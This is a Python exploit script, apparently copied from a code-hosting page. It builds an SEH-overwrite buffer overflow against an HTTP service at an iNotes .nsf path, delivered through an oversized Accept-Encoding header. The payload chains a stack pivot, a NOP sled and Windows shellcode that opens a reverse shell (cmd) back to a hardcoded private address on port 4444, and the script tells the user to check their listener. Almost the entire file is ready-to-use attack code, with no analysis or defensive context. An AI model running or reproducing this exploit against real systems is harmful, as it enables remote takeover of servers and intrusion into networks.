78 lines
4.0 KiB
Python
78 lines
4.0 KiB
Python
from pwn import *
|
|
import struct
|
|
import sys
|
|
|
|
def pack(x):
|
|
return struct.pack('<Q',x)
|
|
|
|
|
|
context.arch = 'i386'
|
|
offset = 148
|
|
# seh chain to a stack pivot and then we run shellcode directly
|
|
def clap(host, port, yourip, yourport):
|
|
# calculate sp
|
|
spivot1 = b'\x81\xC4\x33\x33\xC3\x6C\x81\xEC\x8C\x2E\xC3\x6C\x8B\x24\x24\x81\xEC\x33\x33\xC3\x6C\x81\xC4\x9F\x2E\xC3\x6C\xFF\xE4'
|
|
stager = spivot1
|
|
|
|
suicide = p32(0xffffffff) # exception 1
|
|
sehagent = p32(0x18228310) # seh duper
|
|
suicide2 = p32(0x01010101) # exc 2
|
|
spjump = p32(0x7c345c30) # jmp sp to sc
|
|
junk = p32(0x18227d82) # anything readable here is fine
|
|
# seh offsets shit
|
|
niceone = b'A'*offset
|
|
print("+ building payload")
|
|
# niceone = niceone[:52] + suicide + niceone[56:]
|
|
niceone = niceone[:68] + sehagent + niceone[72:]
|
|
print("+ first seh attached")
|
|
niceone = niceone[:80] + suicide2 + niceone[84:]
|
|
print("+ exception jmp")
|
|
niceone = niceone[:104] + junk + niceone[108:]
|
|
niceone = niceone[:112] + spjump + niceone[116:]
|
|
niceone = niceone[:116] + sehagent + niceone[120:]
|
|
|
|
niceone += stager
|
|
print("+ attaching nopsled")
|
|
niceone += b'\x90' * (1000 - 400)
|
|
niceone += b"\x30\x5c\x34\x7c" # stack pivot
|
|
shellcode = b"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\xc9\x0b\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xff\xd5"
|
|
print(f" shellcode size is {len(shellcode)}")
|
|
print("+ assembled shellcode")
|
|
|
|
# if (len(shellcode) > offset):
|
|
# print("shellcode is too large")
|
|
# import sys; sys.exit(1)
|
|
niceone += shellcode
|
|
print("+ len is", len(niceone))
|
|
|
|
currsize = len(niceone)-offset
|
|
print(f"+ curr: {currsize}")
|
|
|
|
|
|
with open("payload.bin", "wb") as f:
|
|
f.write(niceone)
|
|
|
|
request = b'GET /iNotes/Forms%d.nsf// HTTP/1.0\r\n'
|
|
request += f'Host: {host}\r\n'.encode()
|
|
request += b'Accept-Encoding: ' + niceone + b'\r\n'
|
|
request += b'Connection: Close\r\n'
|
|
request += b'Cache-Control: no-cache\r\n\r\n'
|
|
print("+ sending")
|
|
#for i in range(10):
|
|
# conn = remote(host.format(i), port)
|
|
# conn.send(request)
|
|
# conn.close()
|
|
print("+ check your listener")
|
|
|
|
if __name__ == '__main__':
|
|
if len(sys.argv) < 5:
|
|
print(f"xp <target> <target port> <ip> 4444")
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
port = int(sys.argv[2])
|
|
yourip = sys.argv[3]
|
|
# yourport = int(sys.argv[4])
|
|
yourport = 4444
|
|
clap(host, port, yourip, yourport)
|